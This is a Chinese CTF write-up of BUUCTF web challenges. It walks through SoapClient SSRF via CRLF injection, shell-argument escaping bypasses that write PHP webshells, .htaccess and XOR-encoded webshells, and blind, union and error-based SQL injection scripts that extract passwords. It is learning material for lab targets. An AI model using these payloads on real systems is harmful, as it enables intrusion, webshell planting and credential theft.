这里我们要了解一个内置类SoapClient,该类用于创建soap数据报文,需要我们传入两个参数,第一个是参数为$wsdl,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,接下来我们测试一下在本地发出请求,调用该类中不存在的方法,进而调用call魔术方法
BUUCTF web writeup_第78张图片
在vps中监听端口
BUUCTF web writeup_第79张图片
也就是说我们可以利用soap进行ssrf了,但此时存储session的cookie值我们并不可控,这里我们用到的是CRLF漏洞

CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。

因此我们可以修改ua为

'user_agent' => "localhost\r\nCookie: PHPSESSID=vi7n069ig6dfss5cuqrm8srhg5"

对cookie的值进行注入
此时的问题变成了如何在本题中调用一个SoapClient类中不存在的方法了
这里我们用到的是call_user_func函数的特性,如果我们传入的参数为一个数组的话,例如array(class,func)的话,则会实现class=>func的效果,也就是说如果我们的classSoapClient的话
在这里插入图片描述
此处的参数恰好为数组,也就可以实现SoapClient=>welcome_to_the+lctf2018也就是对call魔术方法的调用,也就可以完成soap请求的发送了。
接着的问题是如何实现该类的反序列化呢,一般情况下我们使用的反序列化引擎均为php,其存储方式是,键名+竖线+经过serialize()函数序列处理的值,例如name|s:6:"spoock";
而如果我们采用的序列化引擎为php_serialize时SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";},此时矛盾的地方就出现了,如果我们使用php_serialize引擎序列化时的内容为|任意类,结果为a:1:{s:4:"name";s:n:"|任意类";},我们在反序列化时如果使用的时php引擎的化,则会对管道符后的内容进行反序列化,借此我们便实现了对任意类的反序列化。而我们修改序列化引擎的方式便是调用session_start方法,其参数为serialize_handler=目标引擎,而我们第二次进行session_start时,php会对session中内容自动进行反序列化,因此我们的第一个报文为
BUUCTF web writeup_第80张图片
最后就是利用extract进行变量覆盖,进而调用SoapClient类的__call魔术方法实现ssrf读取flag
BUUCTF web writeup_第81张图片

19.[BUUCTF 2018]Online Tool

进入题目后直接得到了源码
BUUCTF web writeup_第82张图片

首先是以glzjin+X-Forwarded-For的ip地址创建了沙盒,也就是沙盒的名称是我们可控的。然后执行了输出指令system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host)
这道题目明显需要我们注意的是这两个操作

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

有一篇大牛文章特地描述了escapeshellarg参数绕过和注入的问题

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

escapeshellarg函数的定义如下

string escapeshellarg ( string $arg )

起到的作用为

给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

听起来有点难懂,我们举例测试一下


$host = 'nonono';
var_dump(escapeshellarg($host));
?>

执行的结果如下
BUUCTF web writeup_第83张图片
如果在我们输入的字符串中有单引号出现的话


$host = "no'nono";
var_dump(escapeshellarg($host));
?>

还会对我们内部的单引号进行转义
BUUCTF web writeup_第84张图片
也就是说该函数在我们的字符串两侧添加了单引号进行包裹,一般我们对其进行利用的格式如下


system('ls '.escapeshellarg($dir));
?> 

如果我们利用管道符进行命令注入的话
BUUCTF web writeup_第85张图片
如果我们没有使用该函数的话
BUUCTF web writeup_第86张图片
也就是说使用该函数的前后情况为
在这里插入图片描述
接下来测试一下原博主列举的例子
BUUCTF web writeup_第87张图片
我们都知道escapeshellarg函数会在函数参数两侧添加单引号,但如果被双引号再次包围的话则会实现命令的执行
接下来是escapeshellcmd函数

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到
exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入:
&#;`|?~<>^()[]{}$*, \x0A 和 \xFF。 ’ 和 "仅在不配对的时候被转义。 在 Windows
平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

根据大牛的实例测试一下该函数的功能
在这里插入图片描述
我们输入的反引号被成功转义了
当两个函数配合时则会有意外情况出现,原博客中的案例为
BUUCTF web writeup_第88张图片
首先变量被escapeshellarg函数处理,变为

$a = '127.0.0.1'\'' -v -d a=1'

再被escapeshellcmd函数处理,变为

$a = '127.0.0.1'\\'' -v -d a=1\'#成对的单引号不转义

那么现在的指令就变为了curl '127.0.0.1'\\'' -v -d a=1\'此时的\\被解释为\
也就变成了curl 127.0.0.1\ -v -d a=1'
了解完了基础知识后,我们再来看面前的这道题目,如果我们采用最基本的|whoami的话
首先escapeshellarg处理变为$host='127.0.0.1|whoami'
接着escapeshellcmd处理后变为$host='127.0.0.1\|whoami'
很明显我们的指令是无法被执行的,此时我们需要清楚一点,就是无论我们进行怎样的构造,我们都无法实现分号或者管道符的逃逸,我们就只能转换思路,从构造任意命令执行到利用nmap进行解题
在nmap的输出格式当中
BUUCTF web writeup_第89张图片
我们可以使用-oG模式完成对结果的输出,类似于 -oG cmd.php,完成将nmap本身的扫描结果和我们的一句话木马写入cmd.php当中,如果我们将该字符串直接赋值给变量host的话
首先escapeshellarg处理变为$host=' -oG cmd.php'
接着escapeshellcmd处理后变为$host='\<\?php @eval($_POST["cmd"])\;\?\> -oG cmd.php',此时两侧的单引号限制了命令的执行,如果我们在两侧都加上单引号呢
首先escapeshellarg处理变为$host='\' -oG cmd.php\''
接着escapeshellcmd处理后变为$host='\\'\<\?php @eval($_POST["cmd"]);\?\> -oG cmd.php\\'',此时前侧的单引号和分号并不重要,我们只要能保证一句话木马完整即可,但我们此时保存的文件名为cmd.php\\,该如何解决这个问题呢,其实也很简单,我们只要在后方的单引号前加上一个空格即可,即完成了一个类似于00截断文件名的问题,paylaod:' -oG cmd.php ',经过处理后的字符串为

'\\'\<\?php @eval($_POST["cmd"]);\?\> -oG cmd.php \\''

为什么我们能完成前侧单引号的逃逸呢,因为此时一句话木马的前侧变成了'\\',也就是\\,即完成了对单引号的闭合,我们输入的字符串中的命令得到了执行,此时访问一句话木马所在的文件即可

20.[De1CTF 2019]ShellShellShell

进入题目即为用户登陆界面
BUUCTF web writeup_第90张图片
观察url的格式index.php?action=login,猜测应该有对应的注册界面,将url修改为index.php?action=register
BUUCTF web writeup_第91张图片
果不其然,注册用户时需要满足特殊md5值要求的验证码,我们直接使用脚本爆破即可
尝试注册用户名为admin的用户失败
在这里插入图片描述
注册普通用户名的用户后进入用户界面
BUUCTF web writeup_第92张图片
猜测action参数可能存在有文件包含漏洞,修改url为index.php?action=php://filter/read=convert.base64_encode/resource=index
在这里插入图片描述
经过测试后发现action参数的检测机制为白名单,没有漏洞利用的空间
发现publish功能
BUUCTF web writeup_第93张图片
尝试xss但是尖括号被转义,此时有点一筹莫展了,回去考虑源码泄露的问题
在这里插入图片描述
直接获得了index.php的源码



require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
    $action=$_GET['action'];
    $allow=0;
    $white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
    $vpattern = explode("|",$white_action);
    foreach($vpattern as $key=>$value)
    {
        if(preg_match("/$value/i", $action ) &&  (!preg_match("/\//i",$action))   )
        {
            $allow=1;
        }
    }
    if($allow==1)
    {require_once 'views/'.$_GET['action'];}
    else {
        die("Get out hacker!
jaivy's laji waf."
); } } else header('Location: index.php?action=login');

require_once 'views/'.$_GET['action'];可以由该语句得到对应的文件所在位置并获得对应页面的源码,我们还可以通过文件包含的内容获取user.php
/views/index当中我们发现了可疑的语句

if($data['code']==2 && $C->is_admin ==1){
      for($i=1; $i<count($data['data']); $i++)
      {
             $img = $data['data'][$i];
             echo "
"
; } }

猜测是需要我们伪造admin身份进行登陆,但如何完成admin身份的伪造呢,我们在publish函数当中看到我们以post方式传入的变量signature被插入了数据库当中
在这里插入图片描述
使用的函数为在config.php当中定义的函数insert,内部还调用了get_column函数,其中get_column起到的作用是如果我们输入的参数为数组则变成类似于`a`,`b`,`c`的格式
紧接着我们又调用了preg_replace方法将字符串中被反引号包围的内容变成以单引号包围
BUUCTF web writeup_第94张图片
BUUCTF web writeup_第95张图片
综合上述的分析,我们最终在数据库中执行的语句为

insert into ctf_user_signature (`userid`,`username`,`signature`,`mood`) values (this->userid,$this->username,$_POST['signature'],$mood)

但我们传入的value有一个这样的过程
('a','b','c')=>`a`,`b`,`c`=('a','b','c')
如果我们在注入时直接使用'的话,也就是我们的输入类似于hello',3)#

('id','username','hello',3)#','mood')

数组中的每一个元素被修改成为用反引号包围,则变成了

`id`,`username`,`hello',3)#`,`mood`

但是在进行正则匹配时,我们的`hello’,3)#`却因为内部包含有逗号的原因无法被正则匹配到,也就导致了hello前面的反引号无法被重新转换为单引号
因此我们选择更为直接方式,采用反引号进行闭合,输入hello`,3)#
(‘id’,‘username’,‘hello`,3)#’,‘mood’)
数组中的每一个元素被修改成为用反引号包围,则变成了
`id`,`username`,`hello`,3)#`,`mood`
此时正则匹配后我们在#前的内容变成了
('id','username','hello',3)
变成了合法数据
综上所述,我们采用时间类型盲注的方式获取admin的密码,此处为正常响应时间(网速有点慢…)
BUUCTF web writeup_第96张图片
可见盲注成功
BUUCTF web writeup_第97张图片
编写脚本

import requests
import time
url = 'http://b46edeb8-d2ac-41e8-85cb-3b94cac99125.node2.buuoj.cn.wetolink.com:82/index.php?action=publish'
cookie={"PHPSESSID":"ni857r6gql99gg9fogcduofgm4"}
s = requests.session()
ans =''
for j in range(1,40):
    for i in range(27,137):
        data = {'signature':'hello`,if(ascii(substr((select password from ctf_users limit 0,1),'+str(j)+',1))='+str(i)+',sleep(5),1))#','mood':2}
        t1=time.time()
        c = s.post(url= url,data = data,cookies = cookie)
        t2 = time.time()
        if t2-t1>3:
            ans = ans + chr(i)
            break
    print(ans)
    print(j)

BUUCTF web writeup_第98张图片
使用md5解密,获得admin的密码
BUUCTF web writeup_第99张图片
但我们使用对应的password和username进行登陆时得到提示
在这里插入图片描述
回去查看对应的方法
在这里插入图片描述
user[2]为数据库中存储的ip地址,admin的用户ip应当为127.0.0.1,对应allow_diff_ip的值为0,也就是我们需要找到对应的方法实现ssrf,很容易可以联想到前几天写的利用SoapClient实现ssrf的题目,先观察一下哪里有可以实现反序列化的地方,首先我们是在login当中调用了对象C的login方法来进行登陆的,其中对象C来自于类Customer
BUUCTF web writeup_第100张图片
接下来研究哪里可以让我们实现任意类的反序列化
BUUCTF web writeup_第101张图片
我们在$mood变量后调用了反序列化方法,此时还需要找到哪里调用了类中不存在的方法,很容易看到$country = $mood->getcountry();可以实现SoapClient类__call魔术方法的调用
我们要做的就是构造一个SoapClient类的对象完成用户用户的登陆,由于是在服务器端发出的请求,自然就可以实现伪造本地ip登陆了,直接套用一下wupco师傅的脚本了(自己写的老是测试失败,太菜了)


$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=493447';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=1gnm1fs4m3ocdd227sb30es347'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

成功实现登陆orzorz
BUUCTF web writeup_第102张图片
以admin身份登陆后publish页面具有文件上传的功能
BUUCTF web writeup_第103张图片
直接上传最简单的一句话木马即可,查看内网网段
BUUCTF web writeup_第104张图片
内网网段为172.64.108.x

21.[RoarCTF 2019]Simple UploadBUUCTF web writeup_第105张图片

一道使用thinkphp编写的文件上传题,这道题目考察的地方主要有三点,thinkphp限制文件后缀的正确用法,thinkphp的多文件上传以及thinkphp的上传后文件名生成机制。
首先我们可以看到程序内部限制文件名后缀的代码分为两部分
在这里插入图片描述
在这里插入图片描述主要问题出现在第二部分,正确的限制thinkphp上传文件名后缀的属性应当为
BUUCTF web writeup_第106张图片也就是此条语句应当修改为$upload->exts = array('jpg', 'gif', 'png', 'jpeg');,因此该条语句限制的后缀并不能起到应有的作用。也就是说实际上我们可以上传的文件种类有很多,我们测试上传txt文件。
访问上传功能home/index/upload,模拟实现文件上传
BUUCTF web writeup_第107张图片可以看到txt文件被成功上传,但此时对于上传php文件的限制依旧没有被绕过,此时就需要我们用到这道题目的第二个考点了,我们可以看到此处用到的上传函数为upload,但upload再thinkphp中代表的意思却是多文件上传也就是整个FILE数组的文件都会被上传,但是我们对文件后缀进行的check都是针对FILE数组名为file的文件。如果我们尝试上传一个名为file1的文件
BUUCTF web writeup_第108张图片我们发现文件上传成功但是没有返回文件上传后的文件名,其原因归结于
在这里插入图片描述返回的文件名仅有file上传后的文件名,但我们测试上传的文件名为file1,自然不会回显上传过后的文件名了,此时考察的就是本题的第三个知识点,thinkphp的文件名生成机制默认为调用uniqid函数生成,即利用当前时间的微秒生成,也就是说如果我们连续上传两个文件,我们就可以爆破出下一个文件的文件名称了。
BUUCTF web writeup_第109张图片使用bp的多字节爆破功能

BUUCTF web writeup_第110张图片爆破成功得到flag
BUUCTF web writeup_第111张图片

22.[RoarCTF 2019]Easy Java

可以在页面的下方得到提示
在这里插入图片描述猜测可能是存在有任意文件读取的漏洞,结合访问出现错误的页面可以确定这是一个apache和tomcat结合的web服务器
BUUCTF web writeup_第112张图片我们尝试利用apache访问tomcat的WEB-INF/web.xml文件(tomcat禁止访问WEB-INF/web.xml文件),但在尝试读取时失败
在这里插入图片描述查看wp后才知道需要使用POST方式去请求读取文件
BUUCTF web writeup_第113张图片java运行过程中会将java文件编译为class文件,而此文件的存储位置默认就是在classes路径下,我们通过servlet-class判断出java文件的位置,我们尝试读取/WEB-INF/classes/com/wm/ctf/FlagController.class
BUUCTF web writeup_第114张图片base64解码后即可得到flag

23.[XNUCA2019Qualifier]EasyPHP

BUUCTF web writeup_第115张图片本题会在访问页面时删除当前目录下除了index.php的内容
在这里插入图片描述
而且文件名限制不能出现除了小写字母和.的字符,也就是说我们也不能实现跨目录的文件上传,我们就只能上传文件到当前的目录下而且需要避免被删除,我们能想到的自然就是上传.htaccess文件或者.user,ini文件,尤其是使用.htaccess文件的属性auto_prepend_file将在.htaccess文件中写入的木马加载在所有的文件之前,总的来说我们需要上传的文件内容就是

php_value auto_prepend_file ".htaccess"
#

#后写入的内容就是我们想要写入的一句话木马,#.htaccess文件中起到的作用是就是注释,但是在index.php文件对其进行包含时会将该语句作为php语句进行解析。
但此时的问题出现了
在这里插入图片描述文件的内容中不允许出现关键字file,拜读了各位师傅的wp后了解到了有关.htaccess文件的新知识,就是在.htaccess文件当中可以使用\作为连接上下两行的拼接符号,从而利用\符号绕过关键字file的限制,从而我们上传的.htaccess文件内容应当是

php_value auto_prepend_fi\
le ".htaccess"
#\

后面的\拼接了Just one chance,即我们的.htaccess文件完成拼接后的内容为

php_value auto_prepend_file ".htaccess"
#\Just one chance

后面用于污染的Just one chance被前面的#一同注释掉了
这里需要我们注意的是我们传入文件内容需要url编码后再传入,否则会导致服务器解析错误,第一次以GET方式传入?filename=.htaccess&content=php_value%20auto_prepend_fi%5c%0ale%20%22.htaccess%22%0a%23%3c%3fphp%20%40eval(%24_GET%5b'cmd'%5d)%3b%20%3f%3e%5c,完成文件的写入
之后我们直接访问index.php即可
BUUCTF web writeup_第116张图片接下来我们测试本题的预期解法,该解法的关键就是观察到了包含进去的f13g.php文件,我们在一开始忽略他的原因主要是他会在访问目录后会删除该目录下的所有文件,因此就没有想到利用该文件做些文章,在师傅的wp中我们了解到.htaccess中的参数include_path,该参数可以指定一个目录列表,其中require(),include(),fopen(),readfile()和file_get_contents()函数在查找对应的文件时,会检测我们在.htaccess中设置的include_path属性中的路径是否存在该文件,因此通过该属性可以在别的目录当中包含文件,比如我们可以在tmp目录当中上传一个名为f13g.php的文件,然后在.htaccess中设置include_path/tmp,我们在调用语句include_once("fl3g.php");时则会自动到tmp目录下寻找对应的文件进行包含。
到这里问题便成为了如何上传f13g.php到达tmp目录下,我们都知道我们无法上传特殊符号/在文件名中,也就是说我们无法实现直接的跨目录上传,此时的解决办法是利用.htaccess文件当中的属性error_log,若将该属性设置为/tmp/f13g.php的话,一旦出现错误的话就会将报错的信息写入/tmp/f13g.php当中。
毫无疑问我们想要传入到/tmp/f13g中的内容应当是一句话木马,这里师傅们的方法是先设置php_value include_path "",这样的话我们在调用文件包含时无法找到文件/f13g.php,因此会将该路径(即一句话木马)写入报错日志当中,但此时又出现了问题,我们写入报错日志中的内容会被html实体编码转义,换句话说就是我们传入的shell不能出现<>
这里我们采用的方法是利用UTF-7编码进行绕过,可以看到原来的一句话木马被UTF-7编码后<>均被编码

+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs

最终的流程分为两步


期末考完了,回来填坑

24.[极客大挑战 2019]EasySQL

呃呃,很适合半路摸鱼选手回来练手
BUUCTF web writeup_第117张图片

25.[极客大挑战 2019]Havefun

查看源码后GET方式传入变量cat值为dog
BUUCTF web writeup_第118张图片

26.[极客大挑战 2019]Secret File

查看源页面源代码,跳转到隐藏链接
在这里插入图片描述
BUUCTF web writeup_第119张图片
点击SECRET
在这里插入图片描述应该是302跳转的题目,bp抓包
BUUCTF web writeup_第120张图片访问直接给出了源码
BUUCTF web writeup_第121张图片直接GET方式传入变量file,值为flag.php
BUUCTF web writeup_第122张图片
结合到文件包含include,应该是结合php://filter协议流读取目标文件内容file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述

27.[极客大挑战 2019]PHP

BUUCTF web writeup_第123张图片
考虑源码泄露问题,用王一航大佬的脚本扫一下
在这里插入图片描述 下载源码包,截取一下核心部分的代码


include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } } ?>

明显是需要修改序列化后类中属性的个数对__wakeup()魔术方法,由于是私有属性在序列化的时候要注意url编码的问题


class Name{
    private $username = 'admin';
    private $password = 100; 
}
$a = new Name();
var_dump(serialize($a));
?>

生成后寻找下触发反序列化的点
BUUCTF web writeup_第124张图片
index.php中传入参数select,注意将反序列化后属性的个数由2修改为3即可绕过wakeup魔术方法select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B}

28.[极客大挑战 2019]Knife

直接就有shell了。。。

29.[极客大挑战 2019]LoveSQL

union联合注入

-1' union select 1,2,3#
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#
-1' union select 1,(select group_concat(password) from l0ve1ysq1),3#

30.[极客大挑战 2019]Http

点击隐藏链接
在这里插入图片描述然后就是基本操作了
BUUCTF web writeup_第125张图片

31.[极客大挑战 2019]BuyFlag

将cookie中的user由0修改为1
password使用%00截断绕过is_numeric
money参数的位数有限制,直接科学计数法9e99即可
在这里插入图片描述

32.[极客大挑战 2019]BabySQL

双写绕过部分关键字即可

-1' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3#
-1' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3#
-1' ununionion seselectlect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3#

33.[极客大挑战 2019]Upload

BUUCTF web writeup_第126张图片一道文件上传的题目,老规矩先上传个最基本的一句话木马,看看有什么限制
BUUCTF web writeup_第127张图片
多次尝试过后发现主要的限制有文件后缀名限制(使用上传phtml文件绕过限制);
文件内容不允许出现(使用上传特殊的一句话木马绕过限制);
添加特殊文件头绕过exif_imagetype的校验,其中jpg图像的标识头为ff d8 ff e0 00 10 4a 46 49 46 00 01上传后到upload目录下即可找到上传后的文件
BUUCTF web writeup_第128张图片直接getshell即可
BUUCTF web writeup_第129张图片

34.[极客大挑战 2019]HardSQL(禁用and和or后使用^代替)

几次测试后发现几个重要的符号,union,空格等都被直接禁用了,测试过后发现extractvalue等报错注入函数还可以使用。但用于连接参数和函数的andor等都被禁用了,用于替代的||&&也被禁用了,此时想到使用表示异或的^没有被禁用,使用^连接参数和函数即可使用报错注入。

1'^extractvalue(1,concat(0x7e,(@@version),0x7e))#

BUUCTF web writeup_第130张图片
开始注入出表名时才发现=被禁用了,使用regexplike进行替代

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e))#

依旧是对password列进行查询,但此时出现了问题
BUUCTF web writeup_第131张图片xpath的报错注入存在有位数限制,我们无法看到flag的后半段,此时想到了使用left和right截取查询内容的前后各多少位完成flag的完整读取

1%27^extractvalue(1%2Cconcat(0x7e%2Cleft((select(group_concat(password))from(H4rDsq1)),32)%2C0x7e))%23
1%27^extractvalue(1%2Cconcat(0x7e%2Cright((select(group_concat(password))from(H4rDsq1)),32)%2C0x7e))%23

35.[极客大挑战 2019]RCE ME(不包含数字字母的webshell,rce后如何使用蚁antsword连接)

看到这个题目之后感觉很像SUCTF2019的一道题,直接用当时异或不可见字符的exp打一发

?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

BUUCTF web writeup_第132张图片拿到了phpinfo后才发现并不是要我们执行某一个函数就可以拿到flag,需要我们再想办法getshell。
首先尝试构造eval($_POST['cmd']);,但执行后却发现会报服务器500的错误,查看别的师傅的payload后发现eval是不能作为动态函数的执行的,因此需要构造assert作为动态函数执行,整体的构造过程为:
1.先定义一个变量_

$_=%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff

$_=assert
2.构造_POST

%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff

3.构造assert($_POST[__];

$_(${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}{__});

总结下来就是

?code=$_%3d%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff;$_(${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}{__});

BUUCTF web writeup_第133张图片

这里还可以用到php中按位取反(~)的操作大大缩短字符的长度

?code=$_%3d~%9E%8C%8C%9A%8D%8B;$_(${~%A0%AF%B0%AC%AB}{__});

同样也可以起到一样的作用
BUUCTF web writeup_第134张图片拿到了shell之后直接在根目录下找到了flag文件但是无法进行读取,同时发现了一个可执行程序readflag,在phpinfo当中发现了禁用了一系列命令执行函数,在无法进行命令执行的前提下调用系统程序自然就可以联想到使用LD_PRELOADputnev绕过disable_function,但前提是我们需要上传对应的so文件和php文件才可以。
需要实现文件上传的功能就需要我们使用蚁剑连接后才能上传文件,但经过测试我们只能上传到/tmp目录下,我们使用蚁剑连接的前提就是在/var/www/html目录下存在有shell文件。经过考虑过后我想到了可以先写包含有一句话木马的shell.php到tmp目录下,执行的命令为
BUUCTF web writeup_第135张图片可以看到我们的一句话木马已经写入到了/tmp/shell.php中了
BUUCTF web writeup_第136张图片随后我们在蚁剑的请求信息中使用include包含/tmp/shell.php即可完成连接
BUUCTF web writeup_第137张图片完成连接后上传对应的phpso文件后即可完成readflag的调用
BUUCTF web writeup_第138张图片

36.[极客大挑战 2019]FinalSQL

本题当中出现了和前几道sql注入题目不一样的选择框,分别控制了不同的id参数,在此基础上我们还是针对用户名和密码进行了注入测试,发现注入的waf更加严密,甚至直接禁用了'。换言之就是我们很难再利用usernamepassword参数进行sql注入了,结合给出的参数id和题目标题的SQL盲注,测试一下利用id进行SQL盲注。
BUUCTF web writeup_第139张图片id=(1=1)时返回了id=1时的回显
BUUCTF web writeup_第140张图片id=(1=2)时返回了id=0时的回显
我们即可以构造对应的payload对数据库内容进行读取,由于andor被禁用了,我们使用异或符号进行代替。由于我们使用1作为异或的一侧,也就是说当注入语句为真时会出现1^1也就是返回id=0时的情况,我们即可以根据返回内容中包含有ERROR来判断注入语句正确,直接贴脚本了

import requests
s=requests.session()
ans=''
for i in range(1,1000):
    print(i)
    for j in range(37,127):
        #url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),"+str(i)+",1))="+str(j)+")"
        #url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),"+str(i)+",1))="+str(j)+")"
        url = "http://025705db-9712-455c-a046-9684a61ed6da.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))="+str(j)+")"
        c=s.get(url)
        if 'ERROR' in c.text:
            ans=ans+chr(j)
            print('ans',ans)
            break

37.[SWPU2019]Web1(禁用information后的注入方式)

BUUCTF web writeup_第141张图片
尝试注册admin用户发现已经被注册了,随后注册一个名为guest的普通用户
BUUCTF web writeup_第142张图片有申请发布广告的功能
BUUCTF web writeup_第143张图片一看就摆出来XSS的架势,直接那最简单的payoad发布个广告
BUUCTF web writeup_第144张图片
完成了弹框
BUUCTF web writeup_第145张图片有一个状态栏为待管理确认,常规的思路应该是等待管理确认后窃取admin的cookie完成身份伪造,但过了很久管理都没有确认。。。
只好转变思路,尝试发布了一个名为1'的广告后查看广告详情
在这里插入图片描述发现了报错信息,本题有可能是一个考察二次注入的问题,即发布广告的名字为注入语句,在查询详细信息的时候会在数据库中查询对应广告的名字,再执行查询语句的过程
在这里插入图片描述还有waf,应该是二次注入没错了。经过测试后表示闭合的#--以及空格,但我们可以在结尾添加'同样起到闭合的作用,空格也可以使用/**/
例如-1'/**/union/**/select/**/1,2,'3对列数进行测试(order by 貌似被禁用了)
不得不吐槽一下这个列数真的好蛋疼,测试到22列时得到回显
在这里插入图片描述BUUCTF web writeup_第146张图片注入出数据库名,-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
在这里插入图片描述但是在接下来的查询中发现了由于彻底禁用了or也就意味着我们无法使用information_schema.tables进行下一步的查询了,这里用到了两个知识点,先贴一下学习连接

https://zhuanlan.zhihu.com/p/98206699

首先是除了information_schema库当中存在有mysql当中所有表的结构,还有INNODB_TABLES以及INNODB_CILUMNS中存在有表结构,因此对于表名的查询,我们可以使用select group_concat(table_name) from mysql.innodb_table_stats对表名进行查询-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22也可以使用-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22对表名进行查询
BUUCTF web writeup_第147张图片
接下来就是无列名查询的问题了,在没有列名的情况下如何将数据带出,先做个测试
首先查询出test_table中所有的数据
BUUCTF web writeup_第148张图片如果我们的查询为select 1,2,3,4 union select * from test_table的话
BUUCTF web writeup_第149张图片可以发现我们的列名被替换为了对应的1,2,3,4,如果我们查询第三列的话select `3` form (select 1,2,3,4 union select * from test_table)a;
BUUCTF web writeup_第150张图片可以看到我们在不使用sex列名的前提下顺利查询出对应的数据,也就是所谓的无列名查询了,简单的理解一下就是我们使用(select 1,2,3,4 union select * from test_table)自定义了一个新的数据表,其对应的列名就是我们查询时使用的1,2,3,4,末尾的a就是我们自定义的数据表的表名,即select `3` from a;而这个a就是列名为1,2,3,4的数据表。
在不能使用反引号的情况下我们使用别名进行代替
BUUCTF web writeup_第151张图片我们将第四列起了一个别名叫做aaa对应查询出的数据也就是第四列的数据,有了这些基础就可以直接完成数据的读取-1'/**/union/**/select/**/1,(select(group_concat(aaa))from(select/**/1,2,3/**/as/**/aaa/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
在这里插入图片描述

你可能感兴趣的:(BUUCTF web writeup)